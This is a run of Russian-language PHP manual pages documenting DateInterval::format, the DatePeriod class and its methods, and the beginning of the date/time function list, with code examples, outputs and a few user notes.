
Результат выполнения данного примера в PHP 8.2:

object(DateInterval)#1 (2) {
  ["from_string"]=>
  bool(true)
  ["date_string"]=>
  string(22) "last day of next month"
}
object(DateInterval)#2 (2) {
  ["from_string"]=>
  bool(true)
  ["date_string"]=>
  string(12) "last weekday"
}

Результат выполнения данного примера в PHP 8 аналогичен:

object(DateInterval)#1 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(1)
  ["d"]=>
  int(0)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(2)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(0)
  ["special_amount"]=>
  int(0)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(0)
}
object(DateInterval)#2 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(0)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(1)
  ["special_amount"]=>
  int(-1)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Форматирует интервал

  • « DateInterval::createFromDateString
  • DatePeriod »
  • PHP Manual
  • DateInterval
  • Форматирует интервал

DateInterval::format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::format — Форматирует интервал

Описание

public DateInterval::format(string $format): string

Форматирует интервал.

Список параметров

format

В строке format распознаются следующие символы. Каждому такому символу должен предшествовать знак процента (%).
Символ в строкеformat | Описание | Пример значения
% Символ % %
Y | Годы, число, минимум две цифры с ведущими нулями | 01, 03
y | Годы, число | 1, 3
M | Месяцы, число, минимум две цифры с ведущими нулями | 01, 03, 12
m | Месяцы, число | 1, 3, 12
D | Дни, число, минимум две цифры с ведущими нулями | 01, 03, 31
d | Дни, число | 1, 3, 31
a | Общее количество дней в качестве результата выполнения DateTime::diff(), либо unknown | 4, 18, 8123
H | Часы, число, минимум две цифры с ведущими нулями | 01, 03, 23
h | Часы, число | 1, 3, 23
I | Минуты, число, минимум две цифры с ведущими нулями | 01, 03, 59
i | Минуты, число | 1, 3, 59
S | Секунды, число, минимум две цифры с ведущими нулями | 01, 03, 57
s | Секунды, число | 1, 3, 57
F | Микросекунды, число, как минимум 6 цифр с ведущим 0 | 007701, 052738, 428291
f | Микросекунды, число | 7701, 52738, 428291
R Знак "-" при отрицательном числе, "+" при положительном -, +
r Знак "-" при отрицательном числе, пусто при положительном -,

Возвращаемые значения

Возвращает отформатированный интервал.

Список изменений

Версия | Описание
7.2.12 | Формат F и f теперь всегда будет положительным.
7.1.0 | Добавлены форматирующие символы F и f.

Примеры

Пример #1 Пример использования DateInterval

<?php

$interval = new DateInterval('P2Y4DT6H8M');
echo $interval->format('%d days');

?>

Результат выполнения данного примера:

4 days

Пример #2 DateInterval и перенос единиц

<?php

$interval = new DateInterval('P32D');
echo $interval->format('%d days');

?>

Результат выполнения данного примера:

32 days

Пример #3 DateInterval и DateTime::diff() с модификаторами %a и %d

<?php

$january = new DateTime('2010-01-01');
$february = new DateTime('2010-02-01');
$interval = $february->diff($january);

// %a выведет общее количество дней.
echo $interval->format('%a total days')."\n";

// В то время как %d выведет только число дней, не покрытых месяцем
echo $interval->format('%m month, %d days');

?>

Результат выполнения данного примера:

31 total days
1 month, 0 days

Примечания

Замечание:

Метод DateInterval::format() не делает пересчёта и переноса единиц времени при переполнении значений дат. Это ожидаемое поведение, поскольку невозможно реализовать перенос при значениях, например, "32 дня", которые могут интерпретироваться по-разному, начиная "1 месяц и 4 дня" и заканчивая "1 месяц и 1 день".

Смотрите также

  • DateTime::diff() - Возвращает разницу между двумя объектами DateTime

User Contributed Notes

There are no user contributed notes for this page.


Класс DatePeriod

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Представляет временной период.

Позволяет перемещаться в заданном временном интервале на равные промежутки времени.

Обзор классов

class DatePeriod implements IteratorAggregate {
/* Константы */
public const int EXCLUDE_START_DATE;
public const int INCLUDE_END_DATE;
/* Свойства */
public readonly ?DateTimeInterface $start;
public readonly ?DateTimeInterface $current;
public readonly ?DateTimeInterface $end;
public readonly ?DateInterval $interval;
public readonly int $recurrences;
public readonly bool $include_start_date;
public readonly bool $include_end_date;
/* Методы */
public __construct(
DateTimeInterface $start,
DateInterval $interval,
int $recurrences,
int $options = 0
)
public __construct(
DateTimeInterface $start,
DateInterval $interval,
DateTimeInterface $end,
int $options = 0
)
public __construct(string $isostr, int $options = 0)
public static createFromISO8601String(string $specification, int $options = 0): static
public getDateInterval(): DateInterval
public getEndDate(): ?DateTimeInterface
public getRecurrences(): ?int
public getStartDate(): DateTimeInterface
}

Предопределённые константы

DatePeriod::EXCLUDE_START_DATE

Исключает начальную дату, используется в DatePeriod::__construct().

DatePeriod::INCLUDE_END_DATE

Включает дату окончания, используется в DatePeriod::__construct().

Свойства

recurrences

Минимальное количество экземпляров, возвращаемое итератором.

Если количество повторений было явно передано с помощью параметра recurrences в конструктор экземпляра DatePeriod, то это свойство содержит это значение, плюс один, если дата начала не была отключена с помощью константы DatePeriod::EXCLUDE_START_DATE, плюс один, если дата окончания была включена с помощью константы DatePeriod::INCLUDE_END_DATE.

Если количество повторений не было передано явно, то это свойство содержит минимальное количество возвращённых экземпляров. Это будет 0, плюс один, если дата начала не отключена с помощью константы DatePeriod::EXCLUDE_START_DATE, плюс один, если дата окончания была включена с помощью константы DatePeriod::INCLUDE_END_DATE.

<?php
$start = new DateTime('2018-12-31 00:00:00');
$end = new DateTime('2021-12-31 00:00:00');
$interval = new DateInterval('P1M');
$recurrences = 5;

// повторения явно задаются в конструкторе
$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::EXCLUDE_START_DATE);
echo $period->recurrences, "\n";

$period = new DatePeriod($start, $interval, $recurrences);
echo $period->recurrences, "\n";

$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::INCLUDE_END_DATE);
echo $period->recurrences, "\n";

// повторения не заданы в конструкторе
$period = new DatePeriod($start, $interval, $end);
echo $period->recurrences, "\n";

$period = new DatePeriod($start, $interval, $end, DatePeriod::EXCLUDE_START_DATE);
echo $period->recurrences, "\n";
?>

Результат выполнения данного примера:

5
6
7
1
0

Смотрите также описание метода DatePeriod::getRecurrences().

include_end_date

Включать ли дату окончания в набор повторяющихся дат или нет.

include_start_date

Включать ли начальную дату в набор дат или нет.

start

Дата начала периода.

current

В процессе итерации будет содержать текущую дату периода.

end

Конечная дата периода.

interval

Спецификация повторяющегося интервала согласно ISO 8601.

Список изменений

Версия | Описание
8.2.0 | Были добавлены константа DatePeriod::INCLUDE_END_DATE и свойство include_end_date.
8.0.0 | Класс DatePeriod теперь реализует интерфейс IteratorAggregate. Ранее вместо этого был реализован интерфейс Traversable.

Содержание

  • DatePeriod::__construct — Создаёт новый объект DatePeriod
  • DatePeriod::createFromISO8601String — Creates a new DatePeriod object from an ISO8601 string
  • DatePeriod::getDateInterval — Возвращает интервал
  • DatePeriod::getEndDate — Возвращает конечную дату периода
  • DatePeriod::getRecurrences — Получает количество повторов
  • DatePeriod::getStartDate — Возвращает начальную дату периода

User Contributed Notes

mail at pascalhofmann dot de 19-Jan-2017 09:58
When looping over a DatePeriod object, the returned objects always implement DateTimeInterface. The exact type returned depends on how the DatePeriod was created. If $start was a DateTimeImmutable, the objects returned will be of type DateTimeImmutable. If a DateTime object was used, the objects returned will be of type DateTime.


Создаёт новый объект DatePeriod

  • « DatePeriod
  • DatePeriod::createFromISO8601String »
  • PHP Manual
  • DatePeriod
  • Создаёт новый объект DatePeriod

DatePeriod::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DatePeriod::__construct — Создаёт новый объект DatePeriod

Описание

public DatePeriod::__construct(
DateTimeInterface $start,
DateInterval $interval,
int $recurrences,
int $options = 0
)
public DatePeriod::__construct(
DateTimeInterface $start,
DateInterval $interval,
DateTimeInterface $end,
int $options = 0
)
Внимание
public DatePeriod::__construct(string $isostr, int $options = 0)

Этот вариант конструктора устарел, используйте вместо него метод DatePeriod::createFromISO8601String().

Создаёт новый объект DatePeriod.

Объекты DatePeriod можно использовать в качестве итератора для генерации ряда объектов DateTimeImmutable или DateTime из даты start, interval и end или числа recurrences.

Класс возвращаемых объектов эквивалентен классу-родителю DateTimeImmutable или DateTime объекта start.

Список параметров

start

Начальная дата. По умолчанию включается в набор результатов.

interval

Интервал.

recurrences

Количество повторений. Число возвращаемых результатов на единицу больше этого, так как дата начала включается в набор результатов по умолчанию. Должно быть больше, чем 0.

end

Конечная дата. По умолчанию исключается из набора результатов.

isostr

Подмножество, содержащее интервал согласно » спецификации ISO 8601.

Примерами некоторых особенностей спецификации интервалов ISO 8601, которые PHP не поддерживает, являются:

  1. нулевые вхождения (R0/)
  2. смещение времени, отличное от UTC (Z), например, +02:00.
options

Битовое поле, которое можно использовать для управления определённым поведением с начальной и конечной датами.

Исключить начальную дату внутри периода из набора повторяющихся дат можно с помощью константы DatePeriod::EXCLUDE_START_DATE.

Включить конечную дату внутри периода в набор повторяющихся дат можно с помощью константы DatePeriod::INCLUDE_END_DATE.

Ошибки

Когда значение параметра isostr не может быть разобрано анализатором как допустимый стандартом ISO 8601 формат, выбрасывается исключение DateMalformedPeriodStringException. До PHP 8.3 выбрасывалось исключение Exception.

Список изменений

Версия | Описание
8.3.0 | Теперь вместо исключения Exception выбрасывается исключение DateMalformedPeriodStringException.
8.2.0 | Добавлена константа DatePeriod::INCLUDE_END_DATE.
7.2.19, 7.3.6, 7.4.0 | recurrences должен быть больше 0.

Примеры

Пример #1 Пример использования DatePeriod

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');
$recurrences = 4;
$iso = 'R4/2012-07-01T00:00:00Z/P7D';

// Эти периоды эквивалентны.
$period = new DatePeriod($start, $interval, $recurrences);
$period = new DatePeriod($start, $interval, $end);
$period = new DatePeriod($iso);

// При переборе экземпляра DatePeriod в цикле будут отображены все отобранные даты
// периода.
foreach ($period as $date) {
echo $date->format('Y-m-d')."\n";
}
?>

Результат выполнения данного примера:

2012-07-01
2012-07-08
2012-07-15
2012-07-22
2012-07-29

Пример #2 Пример использования DatePeriod с DatePeriod::EXCLUDE_START_DATE

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');

$period = new DatePeriod($start, $interval, $end,
DatePeriod::EXCLUDE_START_DATE);

// При переборе экземпляра DatePeriod в цикле будут отображены все отобранные даты
// периода.
// Однако в этом случае 2012-07-01 не будет отображена.
foreach ($period as $date) {
echo $date->format('Y-m-d')."\n";
}
?>

Результат выполнения данного примера:

2012-07-08
2012-07-15
2012-07-22
2012-07-29

Пример #3 Пример использования DatePeriod, показывающий все последние четверги в году

<?php
$begin = new DateTime('2021-12-31');
$end = new DateTime('2022-12-31 23:59:59');

$interval = DateInterval::createFromDateString('last thursday of next month');
$period = new DatePeriod($begin, $interval, $end, DatePeriod::EXCLUDE_START_DATE);

foreach ($period as $dt) {
echo $dt->format('l Y-m-d'), "\n";
}
?>

Результат выполнения данного примера:

Thursday 2022-01-27
Thursday 2022-02-24
Thursday 2022-03-31
Thursday 2022-04-28
Thursday 2022-05-26
Thursday 2022-06-30
Thursday 2022-07-28
Thursday 2022-08-25
Thursday 2022-09-29
Thursday 2022-10-27
Thursday 2022-11-24
Thursday 2022-12-29

Примечания

Несвязное количество повторений, определённые в секции 4.5 ISO 8601 "Recurring time interval", не поддерживается, то есть ни передача "R/..." в isostr, ни null в end, не будут работать.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DatePeriod object from an ISO8601 string

  • « DatePeriod::__construct
  • DatePeriod::getDateInterval »
  • PHP Manual
  • DatePeriod
  • Creates a new DatePeriod object from an ISO8601 string

DatePeriod::createFromISO8601String

(PHP 8 >= 8.3.0)

DatePeriod::createFromISO8601String — Creates a new DatePeriod object from an ISO8601 string

Описание

public static DatePeriod::createFromISO8601String(string $specification, int $options = 0): static

Creates a new DatePeriod object from an ISO8601 string, as specified with specification.

Список параметров

specification

A subset of the » ISO 8601 repeating interval specification.

An example of an accepted ISO 8601 interval specifications is R5/2008-03-01T13:00:00Z/P1Y2M10DT2H30M, which specifies:

  • 5 iterations (R5/)
  • Starting at 2008-03-01T13:00:00Z.
  • Each iteration is an 1 year, 2 months, 10 days, 2 hours, and 30 minute interval (/P1Y2M10DT2H30M).

Examples of some ISO 8601 interval specification features that PHP does not support are:

  1. zero occurrences (R0/)
  2. time offsets other than UTC (Z), such as +02:00.
options

A bit field which can be used to control certain behaviour with start- and end- dates.

With DatePeriod::EXCLUDE_START_DATE you exclude the start date from the set of recurring dates within the period.

With DatePeriod::INCLUDE_END_DATE you include the end date in the set of recurring dates within the period.

Возвращаемые значения

Creates a new DatePeriod object.

DatePeriod objects created with this method can be used as an iterator to generate a number of DateTimeImmutable objects.

Ошибки

Throws an DateMalformedPeriodStringException when the specification cannot be parsed as a valid ISO 8601 period.

Примеры

Пример #1 DatePeriod::createFromISO8601String example

<?php
$iso = 'R4/2023-07-01T00:00:00Z/P7D';

$period = DatePeriod::createFromISO8601String($iso);

// By iterating over the DatePeriod object, all of the
// recurring dates within that period are printed.
foreach ($period as $date) {
echo $date->format('Y-m-d'), "\n";
}
?>

Результат выполнения данного примера:

2023-07-01
2023-07-08
2023-07-15
2023-07-22
2023-07-29

User Contributed Notes

There are no user contributed notes for this page.


Возвращает интервал

  • « DatePeriod::createFromISO8601String
  • DatePeriod::getEndDate »
  • PHP Manual
  • DatePeriod
  • Возвращает интервал

DatePeriod::getDateInterval

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getDateInterval — Возвращает интервал

Описание

Объектно-ориентированный стиль

public DatePeriod::getDateInterval(): DateInterval

Возвращает объект DateInterval, представляющий интервал, использованный для создания периода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект DateInterval

Примеры

Пример #1 Пример использования DatePeriod::getDateInterval()

<?php
$period = new DatePeriod('R7/2016-05-16T00:00:00Z/P1D');
$interval = $period->getDateInterval();
echo $interval->format('%d day');
?>

Результат выполнения данного примера:

1 day

Смотрите также

  • DatePeriod::getStartDate() - Возвращает начальную дату периода
  • DatePeriod::getEndDate() - Возвращает конечную дату периода

User Contributed Notes

There are no user contributed notes for this page.


Возвращает конечную дату периода

  • « DatePeriod::getDateInterval
  • DatePeriod::getRecurrences »
  • PHP Manual
  • DatePeriod
  • Возвращает конечную дату периода

DatePeriod::getEndDate

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getEndDate — Возвращает конечную дату периода

Описание

Объектно-ориентированный стиль

public DatePeriod::getEndDate(): ?DateTimeInterface

Возвращает конечную дату периода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает null, если DatePeriod не содержит конечной даты. Например, при инициализации с параметром recurrences или isostr без указания конечной даты.

Возвращает объект DateTimeImmutable, когда DatePeriod инициализирован с объектом DateTimeImmutable в качестве параметра end.

В противном случае возвращает клонированный объект (object) DateTime, представляющий дату окончания.

Примеры

Пример #1 Пример использования DatePeriod::getEndDate()

<?php
$period = new DatePeriod(
new DateTime('2016-05-16T00:00:00Z'),
new DateInterval('P1D'),
new DateTime('2016-05-20T00:00:00Z')
);
$start = $period->getEndDate();
echo $start->format(DateTime::ISO8601);
?>

Результат выполнения данных примеров:

2016-05-20T00:00:00+0000

Пример #2 Пример использования DatePeriod::getEndDate() без даты окончания

<?php
$period = new DatePeriod(
new DateTime('2016-05-16T00:00:00Z'),
new DateInterval('P1D'),
7
);
var_dump($period->getEndDate());
?>

Результат выполнения данного примера:

NULL

Смотрите также

  • DatePeriod::getStartDate() - Возвращает начальную дату периода
  • DatePeriod::getDateInterval() - Возвращает интервал

User Contributed Notes

There are no user contributed notes for this page.


Получает количество повторов

  • « DatePeriod::getEndDate
  • DatePeriod::getStartDate »
  • PHP Manual
  • DatePeriod
  • Получает количество повторов

DatePeriod::getRecurrences

(PHP 7 >= 7.2.17/7.3.4, PHP 8)

DatePeriod::getRecurrences — Получает количество повторов

Описание

Объектно-ориентированный стиль

public DatePeriod::getRecurrences(): ?int

Получает количество повторов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество повторений, заданное путём явной передачи параметра $recurrences в конструктор класса DatePeriod или null в противном случае.

Примеры

Пример #1 Различные значения для DatePeriod::getRecurrences()

<?php

$start = new DateTime('2018-12-31 00:00:00');
$end = new DateTime('2021-12-31 00:00:00');
$interval = new DateInterval('P1M');
$recurrences = 5;

// повторения, явно заданные в конструкторе
$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::EXCLUDE_START_DATE);
echo $period->getRecurrences(), "\n";

$period = new DatePeriod($start, $interval, $recurrences);
echo $period->getRecurrences(), "\n";

$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::INCLUDE_END_DATE);
echo $period->getRecurrences(), "\n\n";

// повторения, не заданные в конструкторе
$period = new DatePeriod($start, $interval, $end);
var_dump($period->getRecurrences());

$period = new DatePeriod($start, $interval, $end, DatePeriod::EXCLUDE_START_DATE);
var_dump($period->getRecurrences());
?>

Результат выполнения данного примера:

5
5
5

NULL
NULL

Смотрите также

  • DatePeriod::$recurrences

User Contributed Notes

There are no user contributed notes for this page.


Возвращает начальную дату периода

  • « DatePeriod::getRecurrences
  • Функции даты и времени »
  • PHP Manual
  • DatePeriod
  • Возвращает начальную дату периода

DatePeriod::getStartDate

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getStartDate — Возвращает начальную дату периода

Описание

Объектно-ориентированный стиль

public DatePeriod::getStartDate(): DateTimeInterface

Возвращает начальную дату периода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект DateTimeImmutable, когда DatePeriod инициализирован объектом DateTimeImmutable в качестве параметра start.

Иначе возвращает объект DateTime.

Примеры

Пример #1 Пример использования DatePeriod::getStartDate()

<?php
$period = new DatePeriod('R7/2016-05-16T00:00:00Z/P1D');
$start = $period->getStartDate();
echo $start->format(DateTime::ISO8601);
?>

Результат выполнения данного примера:

2016-05-16T00:00:00+0000

Смотрите также

  • DatePeriod::getEndDate() - Возвращает конечную дату периода
  • DatePeriod::getDateInterval() - Возвращает интервал

User Contributed Notes

There are no user contributed notes for this page.


Функции даты и времени

Содержание

  • checkdate — Проверяет корректность даты по григорианскому календарю
  • date_add — Псевдоним DateTime::add
  • date_create_from_format — Псевдоним DateTime::createFromFormat
  • date_create_immutable_from_format — Псевдоним DateTimeImmutable::createFromFormat
  • date_create_immutable — Создаёт новый объект DateTimeImmutable
  • date_create — Создаёт новый объект DateTime
  • date_date_set — Псевдоним DateTime::setDate
  • date_default_timezone_get — Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте
  • date_default_timezone_set — Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте
  • date_diff — Псевдоним DateTime::diff
  • date_format — Псевдоним DateTime::format
  • date_get_last_errors — Псевдоним DateTimeImmutable::getLastErrors
  • date_interval_create_from_date_string — Псевдоним DateInterval::createFromDateString
  • date_interval_format — Псевдоним DateInterval::format
  • date_isodate_set — Псевдоним DateTime::setISODate
  • date_modify — Псевдоним DateTime::modify
  • date_offset_get — Псевдоним DateTime::getOffset
  • date_parse_from_format — Получение информации о заданной в определённом формате дате
  • date_parse — Возвращает ассоциативный массив с подробной информацией о заданной дате/времени
  • date_sub — Псевдоним DateTime::sub
  • date_sun_info — Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек
  • date_sunrise — Возвращает время рассвета для заданных дня и местоположения
  • date_sunset — Возвращает время захода солнца для заданных дня и местоположения
  • date_time_set — Псевдоним DateTime::setTime
  • date_timestamp_get — Псевдоним DateTime::getTimestamp
  • date_timestamp_set — Псевдоним DateTime::setTimestamp
  • date_timezone_get — Псевдоним DateTime::getTimezone
  • date_timezone_set — Псевдоним DateTime::setTimezone
  • date — Форматирует временную метку Unix
  • getdate — Возвращает информацию о дате/времени
  • gettimeofday — Возвращает текущее время
  • gmdate — Форматирует дату/время по Гринвичу
  • gmmktime — Возвращает локальную метку времени Unix для времени по Гринвичу
  • gmstrftime — Форматирует дату/время по Гринвичу с учётом текущей локали
  • idate — Преобразует локальное время/дату в целое число
  • localtime — Возвращает локальное время
  • microtime — Возвращает текущую метку времени Unix с микросекундами
  • mktime — Возвращает метку времени Unix для заданной даты
  • strftime — Форматирует текущую дату/время с учётом текущих настроек локали
  • strptime — Разбирает строку даты/времени, сгенерированную функцией strftime
  • strtotime — Преобразует текстовое представление даты на английском языке в метку времени Unix
  • time — Возвращает текущую метку системного времени Unix
  • timezone_abbreviations_list — Псевдоним DateTimeZone::listAbbreviations
  • timezone_identifiers_list — Псевдоним DateTimeZone::listIdentifiers
  • timezone_location_get — Псевдоним DateTimeZone::getLocation
  • timezone_name_from_abbr — Возвращает название часового пояса, угадывая по аббревиатуре и смещению UTC
  • timezone_name_get — Псевдоним DateTimeZone::getName
  • timezone_offset_get — Псевдоним DateTimeZone::getOffset
  • timezone_open — Псевдоним DateTimeZone::__construct
  • timezone_transitions_get — Псевдоним DateTimeZone::getTransitions
  • timezone_version_get — Получение номера версии базы данных часовых поясов

User Contributed Notes

There are no user contributed notes for this page.


Проверяет корректность даты по григорианскому календарю

  • « Функции даты и времени
  • date_add »
  • PHP Manual
  • Функции даты и времени
  • Проверяет корректность даты по григорианскому календарю

checkdate

(PHP 4, PHP 5, PHP 7, PHP 8)

checkdate — Проверяет корректность даты по григорианскому календарю

Описание

checkdate(int $month, int $day, int $year): bool

Проверяет корректность даты по переданным аргументам. Дата считается корректной, если все параметры принимают допустимые значения.

Список параметров

month

Месяц. Принимает значения от 1 до 12 включительно.

day

День. Принимает значения, допустимые для указанного месяца month. При этом учитывается, является ли год year високосным.

year

Год. Принимает значения от 1 до 32767 включительно.

Возвращаемые значения

Возвращает true, если проверяемая дата является корректной, или false в противном случае.

Примеры

Пример #1 Пример использования функции checkdate()

<?php
var_dump(checkdate(12, 31, 2000));
var_dump(checkdate(2, 29, 2001));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Смотрите также

  • mktime() - Возвращает метку времени Unix для заданной даты
  • strtotime() - Преобразует текстовое представление даты на английском языке в метку времени Unix

User Contributed Notes

glavic at gmail dot com 12-Sep-2013 12:46
With DateTime you can make the shortest date&time validator for all formats.

<?php

function validateDate($date, $format = 'Y-m-d H:i:s')
{
    $d = DateTime::createFromFormat($format, $date);
    return $d && $d->format($format) == $date;
}

var_dump(validateDate('2012-02-28 12:12:12')); # true
var_dump(validateDate('2012-02-30 12:12:12')); # false
var_dump(validateDate('2012-02-28', 'Y-m-d')); # true
var_dump(validateDate('28/02/2012', 'd/m/Y')); # true
var_dump(validateDate('30/02/2012', 'd/m/Y')); # false
var_dump(validateDate('14:50', 'H:i')); # true
var_dump(validateDate('14:77', 'H:i')); # false
var_dump(validateDate(14, 'H')); # true
var_dump(validateDate('14', 'H')); # true

var_dump(validateDate('2012-02-28T12:12:12+02:00', 'Y-m-d\TH:i:sP')); # true
# or
var_dump(validateDate('2012-02-28T12:12:12+02:00', DateTime::ATOM)); # true

var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', 'D, d M Y H:i:s O')); # true
# or
var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', DateTime::RSS)); # true
var_dump(validateDate('Tue, 27 Feb 2012 12:12:12 +0200', DateTime::RSS)); # false
# ...


Псевдоним DateTime::add

  • « checkdate
  • date_create_from_format »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::add

date_add

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_add — Псевдоним DateTime::add()

Описание

Функция является псевдонимом: DateTime::add()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTime::createFromFormat

  • « date_add
  • date_create_immutable_from_format »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_create_from_format — Псевдоним DateTime::createFromFormat()

Описание

Функция является псевдонимом: DateTime::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeImmutable::createFromFormat

  • « date_create_from_format
  • date_create_immutable »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

date_create_immutable_from_format — Псевдоним DateTimeImmutable::createFromFormat()

Описание

Функция является псевдонимом: DateTimeImmutable::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект DateTimeImmutable

  • « date_create_immutable_from_format
  • date_create »
  • PHP Manual
  • Функции даты и времени
  • Создаёт новый объект DateTimeImmutable

date_create_immutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

date_create_immutable — Создаёт новый объект DateTimeImmutable

Описание

date_create_immutable(string $datetime = "now", ?DateTimeZone $timezone = null): DateTimeImmutable|false

Аналог метода DateTimeImmutable::__construct() в процедурном стиле.

В отличие от конструктора DateTimeImmutable, функция вернёт false, а не выбросит исключение, если переданная в конструктор строка datetime указана некорректно.

Список параметров

Смотрите DateTimeImmutable::__construct.

Возвращаемые значения

Возвращает новый экземпляр DateTimeImmutable. или false в случае возникновения ошибки

Смотрите также

  • DateTimeImmutable::createFromFormat() - Разбирает строку с датой согласно указанному формату

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект DateTime

  • « date_create_immutable
  • date_date_set »
  • PHP Manual
  • Функции даты и времени
  • Создаёт новый объект DateTime

date_create

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_create — Создаёт новый объект DateTime

Описание

date_create(string $datetime = "now", ?DateTimeZone $timezone = null): DateTime|false

Это процедурная версия метода DateTime::__construct().

В отличие от конструктора DateTime, функция возвращает false вместо исключения, если переданная в параметр datetime строка недопустима.

Список параметров

Смотрите DateTimeImmutable::__construct.

Возвращаемые значения

Возвращает новый экземпляр DateTime. или false в случае возникновения ошибки

Смотрите также

  • DateTimeImmutable::__construct() - Возвращает новый объект DateTimeImmutable
  • DateTimeImmutable::createFromFormat() - Разбирает строку с датой согласно указанному формату
  • DateTime::__construct() - Конструктор класса DateTime

User Contributed Notes

A. Go 16-Mar-2019 11:26
Notice php by default assume the give string as such format:
'-'    is    'y-m-d'
'/'    is    'm/d/y'

Unless the given string has Y or M,
that is year is written as full year '2019', or month is written as English shorthand 'Jan',
the default assumption will be applied, where the date might be incorrect.

The following code show a quick test: (true as of php 7.2)
$date = [
    '2019-1-3',
    '19-1-3',
    '3-1-2019',
    '3-Jan-19',
    '3-1-19', //php assume as y-m-d not d-m-y

    '2019-3-1',
    '19-3-1',
    '1-3-2019',
    '1-3-19',

    '2019/3/1',
    '19/3/1', //fail, php think is month 19
    '1/3/2019', //php think is m/d/y
    '1/3/19'
];

//Y-M-d
foreach($date as $i => $d){
    echo $i ."\r\n";
    var_dump(date_format(date_create($d), 'Y-M-d'));
    echo "\r\n";
}


Псевдоним DateTime::setDate

  • « date_create
  • date_default_timezone_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_date_set — Псевдоним DateTime::setDate()

Описание

Функция является псевдонимом: DateTime::setDate()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте

  • « date_date_set
  • date_default_timezone_set »
  • PHP Manual
  • Функции даты и времени
  • Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте

date_default_timezone_get

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

date_default_timezone_get — Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте

Описание

date_default_timezone_get(): string

Функция пытается получить часовой пояс по умолчанию по порядку следующими способами:

  • Чтение настройки часового пояса с помощью функции date_default_timezone_set() (если применимо)

  • Чтение значения ini-настройки date.timezone (если задана)

Если ни один из способов не принёс результата, date_default_timezone_get() вернёт часовой пояс UTC.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string).

Примеры

Пример #1 Получение часового пояса по умолчанию

<?php
date_default_timezone_set('Europe/London');

if (date_default_timezone_get()) {
echo 'date_default_timezone_set: ' . date_default_timezone_get() . '<br />';
}

if (ini_get('date.timezone')) {
echo 'date.timezone: ' . ini_get('date.timezone');
}

?>

Результатом выполнения данного примера будет что-то подобное:

date_default_timezone_set: Europe/London
date.timezone: Europe/London

Пример #2 Получение аббревиатуры часового пояса

<?php
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get() . ' => ' . date('e') . ' => ' . date('T');
?>

Результат выполнения данного примера:

America/Los_Angeles => America/Los_Angeles => PST

Смотрите также

  • date_default_timezone_set() - Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте
  • Список поддерживаемых часовых поясов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте

  • « date_default_timezone_get
  • date_diff »
  • PHP Manual
  • Функции даты и времени
  • Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте

date_default_timezone_set

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

